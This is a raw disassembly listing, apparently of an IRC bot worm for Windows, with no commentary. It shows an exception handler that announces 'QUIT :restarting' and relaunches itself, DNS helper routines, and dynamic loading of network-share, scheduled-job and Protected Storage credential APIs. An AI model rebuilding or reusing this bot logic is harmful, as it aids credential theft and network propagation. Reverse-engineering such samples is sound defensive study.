		mov	[ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_403403:				; CODE XREF: sub_40332B+A7j
		mov	[ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW"
		jmp	short loc_403413
; ---------------------------------------------------------------------------


loc_40340C:				; CODE XREF: sub_40332B+8Fj
		mov	[ebp+var_8], offset aException_flt ; "EXCEPTION_FLT"


loc_403413:				; CODE XREF: sub_40332B+77j
					; sub_40332B+83j ...
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_40342A
		mov	[ebp+var_114], offset aRestarting ; "Restarting"
		jmp	short loc_403434
; ---------------------------------------------------------------------------


loc_40342A:				; CODE XREF: sub_40332B+F1j
		mov	[ebp+var_114], offset aContinuing ; "Continuing"


loc_403434:				; CODE XREF: sub_40332B+FDj
		push	[ebp+var_114]
		push	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	dword ptr [eax]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0C4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+9Ch]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A0h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A8h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0ACh]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0A4h]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	dword ptr [eax+0B0h]
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	offset dword_41864C
		push	offset dword_41DAB4
		call	sub_40D4AB
		add	esp, 48h


loc_4034D9:				; CODE XREF: sub_40332B+21j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, 64h
		jz	short loc_4034ED
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax+4], 1
		jnz	short loc_403558


loc_4034ED:				; CODE XREF: sub_40332B+1B5j
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		test	eax, eax
		jz	short loc_403545
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		cmp	eax, 20h
		ja	short loc_403538
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	short loc_403543
; ---------------------------------------------------------------------------


loc_403538:				; CODE XREF: sub_40332B+1FEj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403543:				; CODE XREF: sub_40332B+20Bj
		jmp	short loc_403550
; ---------------------------------------------------------------------------


loc_403545:				; CODE XREF: sub_40332B+1DFj
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx


loc_403550:				; CODE XREF: sub_40332B:loc_403543j
		push	0
		call	dword_41705C	; ExitProcess


loc_403558:				; CODE XREF: sub_40332B+1C0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 80000003h
		jnz	short loc_403583
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	eax, [eax+0B8h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+4]
		mov	[ecx+0B8h], eax
		or	eax, 0FFFFFFFFh
		jmp	short locret_403586
; ---------------------------------------------------------------------------


loc_403583:				; CODE XREF: sub_40332B+238j
		push	1
		pop	eax

locret_403586:				; CODE XREF: sub_40332B+256j
		leave
		retn
sub_40332B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403588	proc near		; DATA XREF: sub_403BD3:loc_403D85o

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		cmp	[ebp+arg_8], 0
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4035BB
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4035BB
		push	273Fh
		call	dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035BB:				; CODE XREF: sub_403588+13j
					; sub_403588+1Cj
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 1
		jz	short loc_4035E2
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 2
		jz	short loc_4035E2
		push	273Ch
		call	dword_417234	; WSASetLastError
		mov	eax, 273Ch
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4035E2:				; CODE XREF: sub_403588+Aj
					; sub_403588+3Aj ...
		cmp	[ebp+arg_0], 0
		jnz	loc_4036D6
		push	30h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jnz	short loc_40360D
		push	8
		call	dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40360D:				; CODE XREF: sub_403588+73j
		push	30h
		push	0
		push	[ebp+var_34]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_40364C
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_2E], ax


loc_40364C:				; CODE XREF: sub_403588+AEj
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_403667
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_38], eax
		jmp	short loc_40366E
; ---------------------------------------------------------------------------


loc_403667:				; CODE XREF: sub_403588+D2j
		mov	[ebp+var_38], 1


loc_40366E:				; CODE XREF: sub_403588+DDj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_38]
		mov	[eax+8], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_403688
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_3C], eax
		jmp	short loc_40368F
; ---------------------------------------------------------------------------


loc_403688:				; CODE XREF: sub_403588+F3j
		mov	[ebp+var_3C], 6


loc_40368F:				; CODE XREF: sub_403588+FEj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_3C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_34]
		mov	dword ptr [eax+10h], 10h
		mov	eax, [ebp+var_34]
		add	eax, 20h
		mov	ecx, [ebp+var_34]
		mov	[ecx+18h], eax
		and	[ebp+var_2C], 0
		push	10h
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+var_34]
		add	eax, 20h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_34]
		mov	[eax], ecx
		xor	eax, eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036D6:				; CODE XREF: sub_403588+5Ej
		push	[ebp+arg_0]
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4036F2
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_4036F2:				; CODE XREF: sub_403588+15Ej
		and	[ebp+var_20], 0
		jmp	short loc_4036FF
; ---------------------------------------------------------------------------


loc_4036F8:				; CODE XREF: sub_403588+18Cj
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4036FF:				; CODE XREF: sub_403588+16Ej
		cmp	[ebp+var_14], 0
		jz	short loc_403716
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [eax+ecx*4], 0
		jz	short loc_403716
		jmp	short loc_4036F8
; ---------------------------------------------------------------------------


loc_403716:				; CODE XREF: sub_403588+17Bj
					; sub_403588+18Aj
		cmp	[ebp+var_20], 0
		jnz	short loc_403726
		mov	eax, 2AFBh
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_403726:				; CODE XREF: sub_403588+192j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_40374C
		push	8
		call	dword_417234	; WSASetLastError
		push	8
		pop	eax
		jmp	locret_4038B6
; ---------------------------------------------------------------------------


loc_40374C:				; CODE XREF: sub_403588+1B2j
		mov	eax, [ebp+var_20]
		imul	eax, 30h
		push	eax
		push	0
		push	[ebp+var_1C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		cmp	[ebp+arg_4], 0
		jz	short loc_403790
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_E], ax


loc_403790:				; CODE XREF: sub_403588+1F2j
		and	[ebp+var_18], 0
		jmp	short loc_40379D
; ---------------------------------------------------------------------------


loc_403796:				; CODE XREF: sub_403588:loc_4038A7j
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_40379D:				; CODE XREF: sub_403588+20Cj
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_20]
		jnb	loc_4038AC
		cmp	[ebp+arg_8], 0
		jz	short loc_4037B9
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_40], eax
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037B9:				; CODE XREF: sub_403588+225j
		mov	[ebp+var_40], 4


loc_4037C0:				; CODE XREF: sub_403588+22Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_40]
		mov	[ecx+eax], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+4], 2
		cmp	[ebp+arg_8], 0
		jz	short loc_4037F1
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+8]
		mov	[ebp+var_44], eax
		jmp	short loc_4037F8
; ---------------------------------------------------------------------------


loc_4037F1:				; CODE XREF: sub_403588+25Cj
		mov	[ebp+var_44], 1


loc_4037F8:				; CODE XREF: sub_403588+267j
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_44]
		mov	[ecx+eax+8], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_403819
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_48], eax
		jmp	short loc_403820
; ---------------------------------------------------------------------------


loc_403819:				; CODE XREF: sub_403588+284j
		mov	[ebp+var_48], 6


loc_403820:				; CODE XREF: sub_403588+28Fj
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_48]
		mov	[ecx+eax+0Ch], edx
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+eax+10h], 10h
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		mov	ecx, [ebp+var_18]
		imul	ecx, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+ecx+18h], eax
		mov	eax, [ebp+var_14]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_18]
		mov	eax, [eax+ecx*4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		lea	eax, [ecx+eax+20h]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		cmp	[ebp+var_18], 0
		jz	short loc_4038A7
		mov	eax, [ebp+var_18]
		imul	eax, 30h
		mov	ecx, [ebp+var_1C]
		add	ecx, eax
		mov	eax, [ebp+var_18]
		dec	eax
		imul	eax, 30h
		mov	edx, [ebp+var_1C]
		mov	[edx+eax+1Ch], ecx


loc_4038A7:				; CODE XREF: sub_403588+304j
		jmp	loc_403796
; ---------------------------------------------------------------------------


loc_4038AC:				; CODE XREF: sub_403588+21Bj
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_1C]
		mov	[eax], ecx
		xor	eax, eax

locret_4038B6:				; CODE XREF: sub_403588+2Ej
					; sub_403588+55j ...
		leave
		retn	10h
sub_403588	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038BA	proc near		; DATA XREF: sub_403BD3+1BCo

var_434		= dword	ptr -434h
var_430		= byte ptr -430h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 434h
		cmp	[ebp+arg_8], 0
		jnz	short loc_4038CF
		cmp	[ebp+arg_10], 0
		jz	short loc_4038D8


loc_4038CF:				; CODE XREF: sub_4038BA+Dj
		mov	eax, [ebp+arg_18]
		and	al, 0E0h
		test	eax, eax
		jz	short loc_4038ED


loc_4038D8:				; CODE XREF: sub_4038BA+13j
		push	2726h
		call	dword_417234	; WSASetLastError
		mov	eax, 2726h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4038ED:				; CODE XREF: sub_4038BA+1Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_40C], eax
		mov	eax, [ebp+var_40C]
		movsx	eax, word ptr [eax]
		cmp	eax, 2
		jz	short loc_403919
		push	273Fh
		call	dword_417234	; WSASetLastError
		mov	eax, 273Fh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403919:				; CODE XREF: sub_4038BA+48j
		cmp	[ebp+arg_8], 0
		jz	loc_403ABA
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+4]
		call	dword_41721C	; inet_ntoa
		mov	[ebp+var_434], eax
		cmp	[ebp+var_434], 0
		jnz	short loc_403949
		or	eax, 0FFFFFFFFh
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403949:				; CODE XREF: sub_4038BA+85j
		push	401h
		push	[ebp+var_434]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+arg_18]
		and	eax, 2
		test	eax, eax
		jz	short loc_403972
		jmp	loc_403BB4
; ---------------------------------------------------------------------------


loc_403972:				; CODE XREF: sub_4038BA+B1j
		mov	eax, [ebp+arg_18]
		and	eax, 4
		test	eax, eax
		jz	short loc_4039F4
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_4039AA
		call	dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039AA:				; CODE XREF: sub_4038BA+E3j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_4039D3
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_4039D3:				; CODE XREF: sub_4038BA+102j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_403ABA
; ---------------------------------------------------------------------------


loc_4039F4:				; CODE XREF: sub_4038BA+C0j
		mov	eax, [ebp+arg_18]
		and	eax, 1
		test	eax, eax
		jz	loc_403A92
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 7F000001h
		jz	short loc_403A1D
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403A92


loc_403A1D:				; CODE XREF: sub_4038BA+155j
		push	0
		push	4
		mov	eax, [ebp+var_40C]
		add	eax, 4
		push	eax
		call	dword_417220	; gethostbyaddr
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_403A4B
		call	dword_417224	; WSAGetLastError
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A4B:				; CODE XREF: sub_4038BA+184j
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403A74
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403A74:				; CODE XREF: sub_4038BA+1A3j
		push	401h
		mov	eax, [ebp+var_410]
		push	dword ptr [eax]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_403ABA
; ---------------------------------------------------------------------------


loc_403A92:				; CODE XREF: sub_4038BA+142j
					; sub_4038BA+161j ...
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_C]
		jbe	short loc_403ABA
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403ABA:				; CODE XREF: sub_4038BA+63j
					; sub_4038BA+135j ...
		cmp	[ebp+arg_10], 0
		jz	loc_403B99
		push	8
		pop	eax
		test	eax, eax
		jz	short loc_403B2C
		push	0Ah
		lea	eax, [ebp+var_430]
		push	eax
		mov	eax, [ebp+var_40C]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B19
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	locret_403BB9
; ---------------------------------------------------------------------------


loc_403B19:				; CODE XREF: sub_4038BA+248j
		lea	eax, [ebp+var_430]
		push	eax
		push	[ebp+arg_10]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_403B99
; ---------------------------------------------------------------------------


loc_403B2C:				; CODE XREF: sub_4038BA+20Fj
		mov	eax, [ebp+arg_18]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		and	eax, offset aUdp ; "udp"
		push	eax
		mov	eax, [ebp+var_40C]
		movzx	eax, word ptr [eax+2]
		push	eax
		call	dword_417228	; getservbyport
		mov	[ebp+var_408], eax
		cmp	[ebp+var_408], 0
		jnz	short loc_403B61
		or	eax, 0FFFFFFFFh
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B61:				; CODE XREF: sub_4038BA+2A0j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		cmp	eax, [ebp+arg_14]
		jbe	short loc_403B87
		push	2747h
		call	dword_417234	; WSASetLastError
		mov	eax, 2747h
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403B87:				; CODE XREF: sub_4038BA+2B9j
		mov	eax, [ebp+var_408]
		push	dword ptr [eax]
		push	[ebp+arg_10]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_403B99:				; CODE XREF: sub_4038BA+204j
					; sub_4038BA+270j
		cmp	[ebp+arg_8], 0
		jz	short loc_403BB0
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_8]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_403BB0:				; CODE XREF: sub_4038BA+2E3j
		xor	eax, eax
		jmp	short locret_403BB9
; ---------------------------------------------------------------------------


loc_403BB4:				; CODE XREF: sub_4038BA+B3j
		jmp	loc_403A92
; ---------------------------------------------------------------------------

locret_403BB9:				; CODE XREF: sub_4038BA+2Ej
					; sub_4038BA+5Aj ...
		leave
		retn	1Ch
sub_4038BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BBD	proc near		; DATA XREF: sub_403BD3+1C6o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jz	short loc_403BCF
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx


loc_403BCF:				; CODE XREF: sub_403BBD+7j
		pop	ebp
		retn	4
sub_403BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BD3	proc near		; CODE XREF: .data:loc_4168BCp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_403C00
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	[ebp+var_C]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE40, eax


loc_403C00:				; CODE XREF: sub_403BD3+18j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	loc_403CC3
		push	offset aNetusegetinfo ;	"NetUseGetInfo"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE48, eax
		push	offset aNetuseadd ; "NetUseAdd"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE4C, eax
		push	offset aNetusedel ; "NetUseDel"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE50, eax
		push	offset aNetuserenum ; "NetUserEnum"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE54, eax
		push	offset aNetshareenum ; "NetShareEnum"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE58, eax
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE5C, eax
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE60, eax
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE64, eax
		push	offset aNetaddalternat ; "NetAddAlternateComputerName"
		push	[ebp+var_14]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE68, eax


loc_403CC3:				; CODE XREF: sub_403BD3+3Fj
		push	offset aMpr_dll	; "mpr.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403D23
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE6C, eax
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE70, eax
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE74, eax
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	[ebp+var_8]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE78, eax


loc_403D23:				; CODE XREF: sub_403BD3+102j
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		push	offset aGetaddrinfo ; "getaddrinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE84, eax
		push	offset aGetnameinfo ; "getnameinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE88, eax
		push	offset aFreeaddrinfo ; "freeaddrinfo"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE8C, eax
		cmp	dword_41DE84, 0
		jz	short loc_403D85
		cmp	dword_41DE88, 0
		jz	short loc_403D85
		cmp	dword_41DE8C, 0
		jnz	short loc_403DA3


loc_403D85:				; CODE XREF: sub_403BD3+19Ej
					; sub_403BD3+1A7j
		mov	dword_41DE84, offset sub_403588
		mov	dword_41DE88, offset sub_4038BA
		mov	dword_41DE8C, offset sub_403BBD


loc_403DA3:				; CODE XREF: sub_403BD3+1B0j
		push	offset aPstorec_dll ; "pstorec.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_403DCA
		push	offset aPstorecreatein ; "PStoreCreateInstance"
		push	[ebp+var_10]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE80, eax


loc_403DCA:				; CODE XREF: sub_403BD3+1E2j
		push	offset aWininet_dll ; "wininet.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short locret_403DF1
		push	offset aInternetgetcon ; "InternetGetConnectedStateExA"
		push	[ebp+var_18]
		call	dword_417058	; GetProcAddress
		mov	dword_41DE7C, eax

locret_403DF1:				; CODE XREF: sub_403BD3+209j
		leave
		retn
sub_403BD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF3	proc near		; DATA XREF: sub_403FE5+89o

var_1228	= dword	ptr -1228h
var_1224	= byte ptr -1224h
var_1200	= byte ptr -1200h
var_11DC	= byte ptr -11DCh
var_11B8	= dword	ptr -11B8h
var_11B4	= dword	ptr -11B4h
var_11B0	= dword	ptr -11B0h
var_11AC	= byte ptr -11ACh
var_11A6	= byte ptr -11A6h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1228h
		call	sub_416BC0
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_11AC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B4],	eax
		cmp	[ebp+var_11B4],	0
		jnz	short loc_403E52
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_403FE1
; ---------------------------------------------------------------------------


loc_403E52:				; CODE XREF: sub_403DF3+4Aj
		lea	eax, [ebp+var_11AC]
		push	eax
		mov	eax, [ebp+var_11B0]
		push	dword ptr [eax]
		push	offset dword_4189C4
		lea	eax, [ebp+var_11A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_403E75:				; CODE XREF: sub_403DF3+BDj
					; sub_403DF3+10Fj ...
		push	3E8h
		push	[ebp+var_11B4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_11B8],	eax
		mov	eax, [ebp+var_11B0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_403EA2
		cmp	[ebp+var_11B8],	0
		jnz	short loc_403EA7


loc_403EA2:				; CODE XREF: sub_403DF3+A4j
		jmp	loc_403FC7
; ---------------------------------------------------------------------------


loc_403EA7:				; CODE XREF: sub_403DF3+ADj
		cmp	[ebp+var_11B8],	0FFFFFFFFh
		jnz	short loc_403EB2
		jmp	short loc_403E75
; ---------------------------------------------------------------------------


loc_403EB2:				; CODE XREF: sub_403DF3+BBj
		push	1000h
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_1228],	eax
